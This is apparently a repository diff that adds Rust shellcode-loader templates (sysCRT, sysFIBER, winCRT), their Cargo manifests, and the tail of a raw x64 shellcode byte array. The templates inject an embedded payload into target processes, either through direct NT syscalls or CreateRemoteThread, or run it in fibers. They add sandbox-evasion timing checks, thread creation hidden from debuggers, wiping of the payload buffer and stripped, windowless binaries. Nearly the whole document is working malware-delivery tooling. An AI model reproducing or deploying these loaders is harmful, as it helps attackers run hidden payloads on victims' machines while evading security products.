0x55, 0x56, 0x57, 0x65, 0x48, 0x8B, 0x14, 0x25, 0x60, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8B, 0x52, 0x18, 0x48, 0x8D, 0x52, 0x20, 0x52, 0x48, 0x8B, 0x12,
|
||||
0x48, 0x8B, 0x12, 0x48, 0x3B, 0x14, 0x24, 0x0F, 0x84, 0xA2, 0x00, 0x00,
|
||||
0x00, 0x48, 0xFF, 0xC5, 0x48, 0xFF, 0xCD, 0x74, 0x00, 0x48, 0x8B, 0x72,
|
||||
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x48, 0x48, 0xD1, 0xE9, 0x48, 0x83, 0xC1,
|
||||
0x08, 0x48, 0x83, 0xE1, 0xF0, 0x48, 0x29, 0xCC, 0x49, 0x89, 0xCA, 0x48,
|
||||
0x31, 0xC9, 0x48, 0x31, 0xC0, 0x66, 0xAD, 0x84, 0xC0, 0x74, 0x19, 0x48,
|
||||
0xA9, 0x78, 0x56, 0x00, 0x00, 0x90, 0x3C, 0x41, 0x72, 0x06, 0x3C, 0x5A,
|
||||
0x77, 0x02, 0x04, 0x20, 0x88, 0x04, 0x0C, 0x48, 0xFF, 0xC1, 0xEB, 0xDE,
|
||||
0xC6, 0x04, 0x0C, 0x00, 0x48, 0x89, 0xE6, 0xE8, 0x0B, 0x01, 0x00, 0x00,
|
||||
0x4C, 0x01, 0xD4, 0x48, 0xBE, 0x0A, 0xF7, 0x3F, 0x0F, 0xC4, 0x25, 0x19,
|
||||
0x32, 0x48, 0x39, 0xFE, 0x74, 0x8E, 0x48, 0xBE, 0xB2, 0x28, 0x6E, 0x1E,
|
||||
0x98, 0x4E, 0xE5, 0x04, 0x48, 0x39, 0xFE, 0x0F, 0x84, 0x7B, 0xFF, 0xFF,
|
||||
0xFF, 0x48, 0xBE, 0x2D, 0xEA, 0x5D, 0xE5, 0xAE, 0x7B, 0x22, 0xC2, 0x48,
|
||||
0x39, 0xFE, 0x0F, 0x84, 0x68, 0xFF, 0xFF, 0xFF, 0xE8, 0x05, 0x00, 0x00,
|
||||
0x00, 0xE9, 0xC1, 0x00, 0x00, 0x00, 0x58, 0x48, 0x89, 0x42, 0x28, 0x48,
|
||||
0x31, 0xED, 0xE9, 0x51, 0xFF, 0xFF, 0xFF, 0x5A, 0x48, 0xB8, 0x11, 0x11,
|
||||
0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0xC6, 0x00, 0x00, 0x48, 0x8B, 0x12,
|
||||
0x48, 0x8B, 0x12, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x31, 0xC0, 0x8B, 0x42,
|
||||
0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78, 0x18, 0x0B, 0x02, 0x0F, 0x85,
|
||||
0x83, 0x00, 0x00, 0x00, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01,
|
||||
0xD0, 0x50, 0x4D, 0x31, 0xDB, 0x44, 0x8B, 0x58, 0x20, 0x49, 0x01, 0xD3,
|
||||
0x48, 0x31, 0xC9, 0x8B, 0x48, 0x18, 0x51, 0x48, 0x85, 0xC9, 0x74, 0x6B,
|
||||
0x48, 0x31, 0xF6, 0x41, 0x8B, 0x33, 0x48, 0x01, 0xD6, 0xE8, 0x61, 0x00,
|
||||
0x00, 0x00, 0x49, 0x83, 0xC3, 0x04, 0x48, 0xFF, 0xC9, 0x48, 0xBE, 0xF9,
|
||||
0x2D, 0xBF, 0xD3, 0xD1, 0x96, 0x9C, 0x5D, 0x48, 0x39, 0xFE, 0x75, 0xD7,
|
||||
0x58, 0xFF, 0xC1, 0x29, 0xC8, 0x91, 0x58, 0x44, 0x8B, 0x58, 0x24, 0x49,
|
||||
0x01, 0xD3, 0x66, 0x41, 0x8B, 0x0C, 0x4B, 0x44, 0x8B, 0x58, 0x1C, 0x49,
|
||||
0x01, 0xD3, 0x41, 0x8B, 0x04, 0x8B, 0x48, 0x01, 0xD0, 0xEB, 0x4D, 0x48,
|
||||
0xC7, 0xC1, 0xFE, 0xFF, 0xFF, 0xFF, 0x5A, 0x4D, 0x31, 0xC0, 0x4D, 0x31,
|
||||
0xC9, 0x41, 0x51, 0x41, 0x51, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD0, 0x48,
|
||||
0x83, 0xC4, 0x30, 0x5F, 0x5E, 0x5D, 0x90, 0x48, 0x31, 0xC0, 0xC3, 0x59,
|
||||
0x58, 0xEB, 0xF4, 0xBF, 0x37, 0x13, 0x00, 0x00, 0x48, 0x31, 0xC0, 0xAC,
|
||||
0x38, 0xE0, 0x74, 0x17, 0x48, 0x83, 0xF0, 0x5A, 0x48, 0xC1, 0xC7, 0x03,
|
||||
0x49, 0x89, 0xF8, 0x48, 0xC1, 0xE7, 0x06, 0x4C, 0x01, 0xC7, 0x48, 0x01,
|
||||
0xC7, 0xEB, 0xE1, 0xC3, 0xE8, 0xAE, 0xFF, 0xFF, 0xFF,
|
||||
];
|
||||
@@ -0,0 +1,13 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
/target/
|
||||
|
||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
||||
Cargo.lock
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# Local shellcodes used for tests
|
||||
*.bin
|
||||
@@ -0,0 +1,22 @@
|
||||
[package]
|
||||
name = "sysCRT"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
{{DLL_FORMAT}}
|
||||
|
||||
[dependencies]
|
||||
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }
|
||||
sysinfo = "0.38"
|
||||
ntapi = { version = "0.4", features = ["impl-default"] }
|
||||
winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default", "winnt", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "sysinfoapi"] }
|
||||
{{DEPENDENCIES}}
|
||||
|
||||
[profile.release]
|
||||
strip = true # Automatically strip symbols from the binary.
|
||||
opt-level = "z"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
lto = true
|
||||
@@ -0,0 +1,165 @@
|
||||
#![windows_subsystem = "windows"]
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use sysinfo::System;
|
||||
use std::include_bytes;
|
||||
use dyncvoke::dyncvoke_core::syscall;
|
||||
|
||||
use winapi::{
|
||||
um::{
|
||||
winnt::{MEM_COMMIT, PAGE_READWRITE, MEM_RESERVE, PROCESS_ALL_ACCESS}
|
||||
},
|
||||
shared::{
|
||||
ntdef::{OBJECT_ATTRIBUTES, HANDLE, NT_SUCCESS}
|
||||
}
|
||||
};
|
||||
use winapi::ctypes::c_void;
|
||||
use winapi::um::winnt::PAGE_EXECUTE_READ;
|
||||
use winapi::um::winnt::THREAD_ALL_ACCESS;
|
||||
use std::{ptr::null_mut};
|
||||
use ntapi::ntapi_base::CLIENT_ID;
|
||||
use ntapi::ntpsapi::THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER;
|
||||
use winapi::shared::ntdef::NULL;
|
||||
|
||||
use std::time::Instant;
|
||||
|
||||
{{IMPORTS}}
|
||||
|
||||
{{SANDBOX_IMPORTS}}
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
fn boxboxbox(tar: &str) -> Vec<usize> {
|
||||
let mut dom: Vec<usize> = Vec::new();
|
||||
let s = System::new_all();
|
||||
let tar_lower = tar.to_lowercase();
|
||||
for (_, pro) in s.processes() {
|
||||
if pro.name().to_string_lossy().to_lowercase() == tar_lower {
|
||||
dom.push(usize::try_from(pro.pid().as_u32()).unwrap());
|
||||
}
|
||||
}
|
||||
dom
|
||||
}
|
||||
|
||||
fn pause(ms: i64) {
|
||||
let interval: i64 = -(ms * 10_000);
|
||||
let _ = syscall!("NtDelayExecution", 0u32, &interval as *const i64);
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
pause(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
fn wipe(buf: &mut Vec<u8>) {
|
||||
for b in buf.iter_mut() {
|
||||
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
fn enhance(mut buf: Vec<u8>, tar: usize) {
|
||||
let mut process_handle = tar as HANDLE;
|
||||
let mut oa = OBJECT_ATTRIBUTES::default();
|
||||
let mut ci = CLIENT_ID {
|
||||
UniqueProcess: process_handle,
|
||||
UniqueThread: null_mut(),
|
||||
};
|
||||
|
||||
unsafe {
|
||||
let s = syscall!("NtOpenProcess",
|
||||
&mut process_handle as *mut HANDLE,
|
||||
PROCESS_ALL_ACCESS,
|
||||
&mut oa as *mut OBJECT_ATTRIBUTES,
|
||||
&mut ci as *mut CLIENT_ID
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(s) { return; }
|
||||
|
||||
pause(150);
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut base: *mut c_void = null_mut();
|
||||
let mut size: usize = buf.len();
|
||||
let s = syscall!("NtAllocateVirtualMemory",
|
||||
process_handle,
|
||||
&mut base as *mut *mut c_void,
|
||||
0usize,
|
||||
&mut size as *mut usize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(s) { return; }
|
||||
|
||||
pause(200);
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let buf_len = buf.len();
|
||||
let mut written: usize = 0;
|
||||
let s = syscall!("NtWriteVirtualMemory",
|
||||
process_handle,
|
||||
base,
|
||||
buf.as_mut_ptr() as *mut c_void,
|
||||
buf_len,
|
||||
&mut written as *mut usize
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(s) { return; }
|
||||
|
||||
wipe(&mut buf);
|
||||
pause(150);
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut old_perms = PAGE_READWRITE;
|
||||
let mut psize = buf_len;
|
||||
let s = syscall!("NtProtectVirtualMemory",
|
||||
process_handle,
|
||||
&mut base as *mut *mut c_void,
|
||||
&mut psize as *mut usize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_perms as *mut u32
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(s) { return; }
|
||||
|
||||
pause(100);
|
||||
{{NT_DELAY_STEP}}
|
||||
{{NT_DELAY_FINAL}}
|
||||
|
||||
let mut thread_handle: *mut c_void = null_mut();
|
||||
let _ = syscall!("NtCreateThreadEx",
|
||||
&mut thread_handle as *mut *mut c_void,
|
||||
THREAD_ALL_ACCESS,
|
||||
NULL,
|
||||
process_handle,
|
||||
base,
|
||||
NULL,
|
||||
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,
|
||||
0usize,
|
||||
0usize,
|
||||
0usize,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
{{NT_DELAY_AT_START}}
|
||||
{{SANDBOX}}
|
||||
|
||||
if !check_environment() { return; }
|
||||
|
||||
let tar: &str = "{{TARGET_PROCESS}}";
|
||||
|
||||
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
|
||||
let mut vec: Vec<u8> = buf.to_vec();
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
let list: Vec<usize> = boxboxbox(tar);
|
||||
if !list.is_empty() {
|
||||
for i in &list {
|
||||
enhance(vec.clone(), *i);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
{{DLL_MAIN}}
|
||||
@@ -0,0 +1,13 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
/target/
|
||||
|
||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
||||
Cargo.lock
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# Local shellcodes used for tests
|
||||
*.bin
|
||||
@@ -0,0 +1,32 @@
|
||||
[package]
|
||||
name = "sysFIBER"
|
||||
version = "0.1.1"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
{{DLL_FORMAT}}
|
||||
|
||||
[dependencies]
|
||||
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }
|
||||
ntapi = { version = "0.4", features = ["impl-default"] }
|
||||
winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default", "winbase", "sysinfoapi", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt"] }
|
||||
{{DEPENDENCIES}}
|
||||
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.61"
|
||||
|
||||
features = [
|
||||
"Win32_System_Memory",
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
"Win32_System_Threading",
|
||||
]
|
||||
|
||||
[profile.release]
|
||||
strip = true # Automatically strip symbols from the binary.
|
||||
opt-level = "z"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
lto = true
|
||||
@@ -0,0 +1,119 @@
|
||||
#![windows_subsystem = "windows"]
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use std::ptr::null_mut;
|
||||
use std::time::Instant;
|
||||
|
||||
use ntapi::ntpsapi::NtCurrentProcess;
|
||||
use dyncvoke::dyncvoke_core::syscall;
|
||||
use winapi::ctypes::c_void;
|
||||
use winapi::{
|
||||
shared::ntdef::NT_SUCCESS,
|
||||
um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE},
|
||||
};
|
||||
use windows_sys::Win32::System::Threading::{
|
||||
ConvertThreadToFiber, CreateFiberEx, SwitchToFiber, LPFIBER_START_ROUTINE,
|
||||
};
|
||||
|
||||
use std::include_bytes;
|
||||
|
||||
{{SANDBOX_IMPORTS}}
|
||||
|
||||
{{IMPORTS}}
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
fn pause(ms: i64) {
|
||||
let interval: i64 = -(ms * 10_000);
|
||||
let _ = syscall!("NtDelayExecution", 0u32, &interval as *const i64);
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
pause(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
fn wipe(buf: &mut Vec<u8>) {
|
||||
for b in buf.iter_mut() {
|
||||
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
fn enhance(mut buf: Vec<u8>) {
|
||||
unsafe {
|
||||
let buf_len = buf.len();
|
||||
|
||||
let mut region_base: *mut c_void = null_mut();
|
||||
let mut region_size: usize = buf_len;
|
||||
let status = syscall!("NtAllocateVirtualMemory",
|
||||
NtCurrentProcess,
|
||||
&mut region_base as *mut *mut c_void,
|
||||
0usize,
|
||||
&mut region_size as *mut usize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(status) { return; }
|
||||
|
||||
pause(150);
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut bytes_written: usize = 0;
|
||||
let src = buf.as_mut_ptr() as *mut c_void;
|
||||
let status = syscall!("NtWriteVirtualMemory",
|
||||
NtCurrentProcess,
|
||||
region_base,
|
||||
src,
|
||||
buf_len,
|
||||
&mut bytes_written as *mut usize
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(status) { return; }
|
||||
|
||||
wipe(&mut buf);
|
||||
|
||||
pause(200);
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut old_protect: u32 = 0;
|
||||
let mut protect_size: usize = buf_len;
|
||||
let status = syscall!("NtProtectVirtualMemory",
|
||||
NtCurrentProcess,
|
||||
&mut region_base as *mut *mut c_void,
|
||||
&mut protect_size as *mut usize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_protect as *mut u32
|
||||
).unwrap_or(-1);
|
||||
if !NT_SUCCESS(status) { return; }
|
||||
|
||||
pause(100);
|
||||
{{NT_DELAY_STEP}}
|
||||
{{NT_DELAY_FINAL}}
|
||||
|
||||
let fiber_func: LPFIBER_START_ROUTINE = std::mem::transmute(region_base);
|
||||
let shellcode_fiber = CreateFiberEx(0, 0, 0, fiber_func, null_mut());
|
||||
if shellcode_fiber.is_null() { return; }
|
||||
|
||||
let main_fiber = ConvertThreadToFiber(null_mut());
|
||||
if main_fiber.is_null() { return; }
|
||||
|
||||
SwitchToFiber(shellcode_fiber);
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
{{NT_DELAY_AT_START}}
|
||||
{{SANDBOX}}
|
||||
|
||||
if !check_environment() { return; }
|
||||
|
||||
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
|
||||
let mut vec: Vec<u8> = buf.to_vec();
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
enhance(vec);
|
||||
}
|
||||
|
||||
{{DLL_MAIN}}
|
||||
@@ -0,0 +1,13 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
/target/
|
||||
|
||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
||||
Cargo.lock
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# Local shellcodes used for tests
|
||||
*.bin
|
||||
@@ -0,0 +1,34 @@
|
||||
[package]
|
||||
name = "winCRT"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
{{DLL_FORMAT}}
|
||||
|
||||
[dependencies]
|
||||
sysinfo = "0.38"
|
||||
winapi = { version = "0.3", features = ["ntdef", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt", "sysinfoapi"] }
|
||||
{{DEPENDENCIES}}
|
||||
|
||||
[dependencies.windows]
|
||||
version = "0.62"
|
||||
features = [
|
||||
"Win32_UI_Input_Pointer",
|
||||
"Win32_Foundation",
|
||||
"Win32_System_Threading",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_Diagnostics_Debug",
|
||||
"Win32_Security",
|
||||
"Win32_UI_Input_Pointer",
|
||||
"Win32_System_SystemInformation"
|
||||
]
|
||||
|
||||
|
||||
[profile.release]
|
||||
strip = true # Automatically strip symbols from the binary.
|
||||
opt-level = "z"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
lto = true
|
||||
@@ -0,0 +1,126 @@
|
||||
#![windows_subsystem = "windows"]
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use sysinfo::System;
|
||||
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
|
||||
use windows::Win32::System::Memory::VirtualAllocEx;
|
||||
use windows::Win32::System::Memory::VirtualProtectEx;
|
||||
use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE};
|
||||
use windows::Win32::System::Threading::CreateRemoteThread;
|
||||
use windows::Win32::System::Threading::OpenProcess;
|
||||
use windows::Win32::System::Threading::PROCESS_ALL_ACCESS;
|
||||
use std::include_bytes;
|
||||
use std::time::{Duration, Instant};
|
||||
use std::thread;
|
||||
|
||||
{{IMPORTS}}
|
||||
|
||||
{{SANDBOX_IMPORTS}}
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
fn boxboxbox(tar: &str) -> Vec<usize> {
|
||||
let mut dom: Vec<usize> = Vec::new();
|
||||
let s = System::new_all();
|
||||
let tar_lower = tar.to_lowercase();
|
||||
for (_, pro) in s.processes() {
|
||||
if pro.name().to_string_lossy().to_lowercase() == tar_lower {
|
||||
dom.push(usize::try_from(pro.pid().as_u32()).unwrap());
|
||||
}
|
||||
}
|
||||
dom
|
||||
}
|
||||
|
||||
fn pause(ms: u64) {
|
||||
thread::sleep(Duration::from_millis(ms));
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
pause(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
fn wipe(buf: &mut Vec<u8>) {
|
||||
for b in buf.iter_mut() {
|
||||
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
fn enhance(mut buf: Vec<u8>, tar: usize) {
|
||||
unsafe {
|
||||
let h_process = match OpenProcess(PROCESS_ALL_ACCESS, false, tar as u32) {
|
||||
Ok(h) => h,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
pause(150);
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let buf_len = buf.len();
|
||||
let result_ptr = VirtualAllocEx(h_process, None, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
pause(200);
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut byteswritten = 0;
|
||||
let _ = WriteProcessMemory(
|
||||
h_process,
|
||||
result_ptr,
|
||||
buf.as_ptr() as _,
|
||||
buf_len,
|
||||
Some(&mut byteswritten),
|
||||
);
|
||||
|
||||
wipe(&mut buf);
|
||||
pause(150);
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let mut old_perms = PAGE_READWRITE;
|
||||
let _ = VirtualProtectEx(
|
||||
h_process,
|
||||
result_ptr,
|
||||
buf_len,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_perms,
|
||||
);
|
||||
|
||||
pause(100);
|
||||
{{NT_DELAY_STEP}}
|
||||
{{NT_DELAY_FINAL}}
|
||||
|
||||
let _ = CreateRemoteThread(
|
||||
h_process,
|
||||
None,
|
||||
0,
|
||||
Some(std::mem::transmute(result_ptr)),
|
||||
None,
|
||||
0,
|
||||
None,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
{{NT_DELAY_AT_START}}
|
||||
{{SANDBOX}}
|
||||
|
||||
if !check_environment() { return; }
|
||||
|
||||
let tar: &str = "{{TARGET_PROCESS}}";
|
||||
|
||||
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
|
||||
let mut vec: Vec<u8> = buf.to_vec();
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
let list: Vec<usize> = boxboxbox(tar);
|
||||
if !list.is_empty() {
|
||||
for i in &list {
|
||||
enhance(vec.clone(), *i);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
{{DLL_MAIN}}
|
||||
Reference in New Issue
Block a user